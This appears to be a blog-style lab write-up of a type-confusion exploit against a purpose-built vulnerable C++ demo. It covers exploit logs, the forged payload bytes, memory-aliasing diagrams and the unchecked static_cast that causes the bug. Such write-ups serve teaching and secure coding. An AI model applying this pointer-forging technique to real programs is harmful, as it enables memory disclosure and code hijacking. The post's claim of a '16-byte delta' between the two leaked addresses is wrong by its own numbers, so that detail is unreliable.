Challenge to the reader: Before reading, open any C++ codebase you work on and grep for static_cast. Count how many of those casts cross a type hierarchy boundary without a preceding kind/type/discriminator check. Each one you find is a potential type-confusion gadget. Keep that number in mind as you read.


Type confusion is one of the most dangerous vulnerability classes in C++ — and also one of the most overlooked. A single unchecked static_cast that crosses a class-hierarchy boundary lets an attacker reinterpret memory under false pretenses, unlocking two primitives that every exploit developer dreams of: arbitrary read and control-flow hijack. This post walks through a complete, end-to-end type-confusion exploit — from Docker image build to shellcode-free code execution — with every memory layout, pointer value, and cast decision laid bare.

We ran this exploit inside a Docker container as a 3-phase pipeline: (1) build, (2) address-space leak, (3) memory forgery and confused-cast trigger. By the end, we had both a secret flag exfiltrated and the instruction pointer redirected to a privileged win() function — without writing a single byte of shellcode.


1. Phase 0 — Docker Build

The complete exploit output, captured from a single ./run.sh invocation inside the Docker container:

[*] building image 'type-confusion-demo' ...
[+] Building 0.1s (10/10) FINISHED                                                                                                                                                                                                                                                                     docker:default
 => [internal] load build definition from Dockerfile                                                                                                                                                                                                                                                             0.0s
 => => transferring dockerfile: 821B                                                                                                                                                                                                                                                                             0.0s
 => [internal] load metadata for docker.io/library/debian:bookworm-slim                                                                                                                                                                                                                                          0.0s
 => [internal] load .dockerignore                                                                                                                                                                                                                                                                                0.0s
 => => transferring context: 2B                                                                                                                                                                                                                                                                                  0.0s
 => [1/5] FROM docker.io/library/debian:bookworm-slim                                                                                                                                                                                                                                                            0.0s
 => [internal] load build context                                                                                                                                                                                                                                                                                0.0s
 => => transferring context: 60B                                                                                                                                                                                                                                                                                 0.0s
 => CACHED [2/5] RUN apt-get update     && apt-get install -y --no-install-recommends g++ python3     && rm -rf /var/lib/apt/lists/*                                                                                                                                                                             0.0s
 => CACHED [3/5] WORKDIR /app                                                                                                                                                                                                                                                                                    0.0s
 => CACHED [4/5] COPY vuln.cpp exploit.py ./                                                                                                                                                                                                                                                                     0.0s
 => CACHED [5/5] RUN g++ -O0 -g -o vuln vuln.cpp                                                                                                                                                                                                                                                                 0.0s
 => exporting to image                                                                                                                                                                                                                                                                                           0.0s
 => => exporting layers                                                                                                                                                                                                                                                                                          0.0s
 => => writing image sha256:4dc07ebd4ae1768aee959e58e9721ba078d5b8bd5aff99286c92ab3aee0aff25                                                                                                                                                                                                                     0.0s
 => => naming to docker.io/library/type-confusion-demo                                                                                                                                                                                                                                                           0.0s
[*] running exploit ...
[*] type-confusion exploit against: ./vuln

[*] step 1: leak runtime addresses (defeats PIE/ASLR)
      [debug] g_secret @ 0x5cdf40a98008
      [debug] win     @ 0x5cdf40a962f9
      [debug] ready; commands: LEAK | ADD SAFE HEX <hex> | ADD SAFE TEXT <text> | ADD PRIV | SHOW <id> | LIST | QUIT
      LEAK g_secret=0x5cdf40a98008 win=0x5cdf40a962f9
[+] &g_secret = 0x00005cdf40a98008
[+] &win      = 0x00005cdf40a962f9

[*] step 2: register a SafeWidget whose name bytes forge PrivWidget fields
      name[0..7]  = secret_ptr = 0x5cdf40a98008  (arbitrary read)
      name[8..15] = callback   = 0x5cdf40a962f9  (control-flow hijack)
      raw hex     = 0880a940df5c0000f962a940df5c0000
      OK id=0 kind=1 (safe, hex)
[+] malicious SafeWidget registered as id=0

[*] step 3: trigger the confused cast via 'SHOW 0'
      [handle] real kind=1  -> treating as PrivWidget
      [handle] secret_ptr=0x5cdf40a98008 -> "FLAG{type_confusion_demo_flag_1337}"
      [handle] callback=0x5cdf40a962f9, invoking...
      [WIN] control flow hijacked via type confusion: FLAG{type_confusion_demo_flag_1337}

=== exploitation summary ===
  [+] arbitrary read : SafeWidget.name -> secret_ptr -> secret string disclosed
  [+] control hijack : SafeWidget.name -> callback -> win() executed
  [+] SUCCESS: type confusion fully exploited

This is the full transcript — build, address leak, memory forgery, and dual-primitive trigger — from a single end-to-end run. The sections that follow walk through each phase in detail.

The abbreviated build output that run.sh extracts is:

run.sh calls docker build -t type-confusion-demo ., which runs a 5-layer Dockerfile:

Layer Action Cache hit?
1 FROM debian:bookworm-slim ✅ cached
2 apt-get install g++ python3 ✅ cached
3 WORKDIR /app ✅ cached
4 COPY vuln.cpp exploit.py ./ ✅ cached
5 g++ -O0 -g -o vuln vuln.cpp ✅ cached

All 5 steps were fully cached, hence the near-instant 0.1s total. The flags -O0 -g are critical: -O0 disables all compiler optimisations, preserving the predictable memory layout the exploit depends on, and -g embeds DWARF debug symbols. The resulting image SHA is sha256:4dc07ebd4ae1768aee959e58e9721ba078d5b8bd5aff99286c92ab3aee0aff25.

Challenge to the reader: Recompile the same vuln.cpp with -O2 and re-run the exploit. Which primitives still work? Which break? Understanding the gap between -O0 and -O2 exploitability is the difference between a CTF writeup and a real-world attack.


2. Phase 1 — Address Leak (Defeating PIE/ASLR)

[*] step 1: leak runtime addresses (defeats PIE/ASLR)
      [debug] g_secret @ 0x5cdf40a98008
      [debug] win     @ 0x5cdf40a962f9
      LEAK g_secret=0x5cdf40a98008 win=0x5cdf40a962f9
[+] &g_secret = 0x00005cdf40a98008
[+] &win      = 0x00005cdf40a962f9

vuln.cpp intentionally prints both addresses at startup as a stand-in for a real-world information-leak primitive (e.g., a format-string bug or use-after-free partial overwrite). Even though the binary is compiled as a PIE and the kernel uses ASLR, once the attacker has these two pointers the entire game is over — every subsequent address calculation is exact.

Key observations:

  • Both addresses sit in the 0x5cdf40a9xxxx region → they landed in the same ASLR slide for this run.
  • g_secret (0x5cdf40a98008) is in the .data / read-only-data segment (a static const char*).
  • win (0x5cdf40a962f9) is in the .text segment (executable code). Note the odd last nibble 9 — this is a normal function entry point, not a gadget; no ROP required.
  • The 16-byte delta between 0x5cdf40a98008 and 0x5cdf40a962f9 spans two different ELF sections, yet because PIE slides the whole image uniformly, the compile-time offset is preserved at runtime — this is the invariant that makes PIE bypasses systematic.

3. Phase 2 — Memory Forgery (Crafting the Malicious SafeWidget)

[*] step 2: register a SafeWidget whose name bytes forge PrivWidget fields
      name[0..7]  = secret_ptr = 0x5cdf40a98008  (arbitrary read)
      name[8..15] = callback   = 0x5cdf40a962f9  (control-flow hijack)
      raw hex     = 0880a940df5c0000f962a940df5c0000
      OK id=0 kind=1 (safe, hex)
[+] malicious SafeWidget registered as id=0

This is the heart of the exploit. The memory layout aliasing (from vuln.cpp) is:

Offset (from Widget base)    SafeWidget field    PrivWidget field
─────────────────────────────────────────────────────────────────
+0  .. +7    vptr             vptr                vptr
+8  .. +11   kind (=1)        kind (=1)           kind (=2)
+12 .. +15   pad (=0)         pad (=0)            pad (=0)
+16 .. +23   —                name[0..7]   ←→     secret_ptr
+24 .. +31   —                name[8..15]  ←→     callback
+32 .. +47   —                name[16..31]        (nothing)

Here is the same aliasing, visualized as a side-by-side memory map:

                 SAFEWIDGET AS ALLOCATED               PRIVWIDGET AS INTERPRETED
              +---------------------------+         +---------------------------+
Bytes 00-07   |       vptr (8 bytes)      |  ====>  |       vptr (8 bytes)      |
              +---------------------------+         +---------------------------+
Bytes 08-11   |       kind = 1 (int)      |  ====>  |       kind = 1 (int)      |
              +---------------------------+         +---------------------------+
Bytes 12-15   |       pad = 0 (int)       |  ====>  |       pad = 0 (int)       |
              +---------------------------+         +---------------------------+
Bytes 16-23   | [0]                       |         |                           |
              | [1]  Attacker Injection   |         |        secret_ptr         |
              | ...  (&g_secret)          |  ====>  |    (Points to Flag!)      |
              | [7]                       |         |                           |
              +---------------------------+         +---------------------------+
Bytes 24-31   | [8]                       |         |                           |
              | [9]  Attacker Injection   |         |         callback          |
              | ...  (&win)               |  ====>  |   (Points to win())       |
              | [15]                      |         |                           |
              +---------------------------+         +---------------------------+
Bytes 32-47   | [16]...[31] Remaining Buf |         |       (Out of bounds      |
              +---------------------------+         |        for PrivWidget)    |
                                                    +---------------------------+

The exploit packs both pointers as little-endian 64-bit integers and sends them as a hex blob via the ADD SAFE HEX command:

  • 0x5cdf40a98008 in LE bytes: 08 80 a9 40 df 5c 00 00 → placed at name[0..7]
  • 0x5cdf40a962f9 in LE bytes: f9 62 a9 40 df 5c 00 00 → placed at name[8..15]
  • Concatenated: 0880a940df5c0000f962a940df5c0000 ✅ matches output exactly

The target program allocates the object on the heap with kind=1 (SafeWidget) but name[] contains the forged pointers. The attacker now controls what handle() will interpret as secret_ptr and callback.


4. Phase 3 — Triggering the Type Confusion

[*] step 3: trigger the confused cast via 'SHOW 0'
      [handle] real kind=1  -> treating as PrivWidget
      [handle] secret_ptr=0x5cdf40a98008 -> "FLAG{type_confusion_demo_flag_1337}"
      [handle] callback=0x5cdf40a962f9, invoking...
      [WIN] control flow hijacked via type confusion: FLAG{type_confusion_demo_flag_1337}

SHOW 0 routes to handle(registry[0]). Inside handle(), the unsafe cast executes:

PrivWidget* p = static_cast<PrivWidget*>(w);   // <-- NO kind check

Because static_cast performs no runtime type verification (unlike dynamic_cast which would return nullptr here), the CPU starts reading memory at offsets it believes belong to a PrivWidget.

The full execution pipeline, from data ingestion through both exploit primitives:

      [ STEP 1: INGESTION ]
      Attacker sends ADD SAFE HEX command with crafted payload
                               |
                               v
      [ STEP 2: ALLOCATION ]
      Heap object created as SafeWidget (kind=1)
      name[0..7]  = 0x5cdf40a98008 (&g_secret)
      name[8..15] = 0x5cdf40a962f9 (&win)
                               |
                               v
      [ STEP 3: THE CONFUSED CAST ]
      static_cast<PrivWidget*>(w) forces the compiler to trust the type
                               |
                               +-----------------------------+
                               |                             |
                               v                             v
                 [ PRIMITIVE A: ARBITRARY READ ]    [ PRIMITIVE B: CONTROL HIJACK ]
                  Dereferences p->secret_ptr         Executes p->callback()
                               |                             |
                               v                             v
                  Reads address 0x5cdf40a98008       Jumps execution to 0x5cdf40a962f9
                               |                             |
                               v                             v
                  Prints: "FLAG{type_...}"           Enters win() -> Code executed!

Two things happen simultaneously:

  1. Arbitrary Read — It dereferences p->secret_ptr (which is actually name[0..7] = 0x5cdf40a98008) and passes the result to printf("%s", ...). This dereferences the forged pointer and prints FLAG{type_confusion_demo_flag_1337} — data the API was never supposed to expose.

  2. Control-Flow Hijack — It loads p->callback (which is actually name[8..15] = 0x5cdf40a962f9) and calls it. The CPU jumps to win(), a privileged function the safe API path never invokes. The [WIN] line confirms code execution was redirected.


5. Offset Alignment Quick-Reference

This table maps the exact runtime values captured in the exploit log against the variables they impersonate:

Offset (Bytes) Field Source (SafeWidget) Reinterpreted Target (PrivWidget) Injected Exploitation Value Resolution Effect
+00 to +07 vptr vptr Valid Virtual Table Normal object handling
+08 to +11 kind (1) kind 0x00000001 Fails logical checking if validated
+16 to +23 name[0..7] secret_ptr 0x5cdf40a98008 Leaks flag memory contents
+24 to +31 name[8..15] callback 0x5cdf40a962f9 Forces jump to win() function

6. Exploitation Summary

=== exploitation summary ===
  [+] arbitrary read : SafeWidget.name -> secret_ptr -> secret string disclosed
  [+] control hijack : SafeWidget.name -> callback -> win() executed
  [+] SUCCESS: type confusion fully exploited

Both primitives fired successfully:

Primitive Mechanism Result
Arbitrary Read name[0..7] reinterpreted as secret_ptr; printf("%s", p->secret_ptr) Secret flag string exfiltrated
Control-Flow Hijack name[8..15] reinterpreted as callback; p->callback() called win() executed — RIP redirected

exploit.py checks both conditions (the FLAG{...} substring in output and the [WIN] line) before printing SUCCESS and exiting with code 0. If either primitive fails, it exits with code 2 — clean pass/fail semantics for CI integration.


7. Why This Works — The Root Cause

The bug is a single unchecked static_cast in handle(). In a real-world codebase this pattern appears when:

  • A code path assumes it will only ever receive a PrivWidget* but there is no API boundary enforcing that invariant.
  • A union-like hierarchy shares a base class but the discriminator field (kind) is never consulted before casting.
  • static_cast is explicitly chosen over dynamic_cast for performance, silently trading type safety for speed.

Challenge to the reader: Here is the real-world connection. CVE-2021-30551 (Chrome/V8 type confusion in Array.prototype.sort) and multiple Pwn2Own-class bugs follow this exact pattern: JSObject type maps are forged to create the same two primitives — arbitrary read and RIP control — just at JS-engine scale. The class of bug is identical. Find a static_cast or reinterpret_cast in a codebase you depend on that crosses a type-hierarchy boundary. Trace whether there is a discriminator check before it. If there isn’t, you have found a potential type-confusion gadget. The gap between “potential gadget” and “weaponized exploit” is the information leak — but as Phase 1 showed, leaks are abundant.

Final challenge: Take the vuln.cpp source — any open-source C++ project with a class hierarchy will do — and identify three static_cast sites. For each one, answer: (a) Is there a discriminator check before the cast? (b) If not, what field of the derived class overlaps with what field of the base class at the cast site? (c) If you controlled those bytes, what primitive would you gain? You now have a threat model.


Real-World Analogues

Real-world analogues include CVE-2021-30551 (Chrome/V8 type confusion in Array.prototype.sort) and multiple Pwn2Own-class bugs where JSObject type maps are forged — same class of bug, same two primitives (arbitrary read + RIP control), just at JS-engine scale. The technique scales from a 200-line CTF demo to a multi-million-line browser codebase because the root cause — an unchecked cast across a type-hierarchy boundary — is language-level, not project-level.


Source Code

The complete exploit source code (vuln.cpp, exploit.py, Dockerfile, run.sh) is available at:

https://github.com/tthtlc/vuln_exploration_exercise/tree/main/type_confusion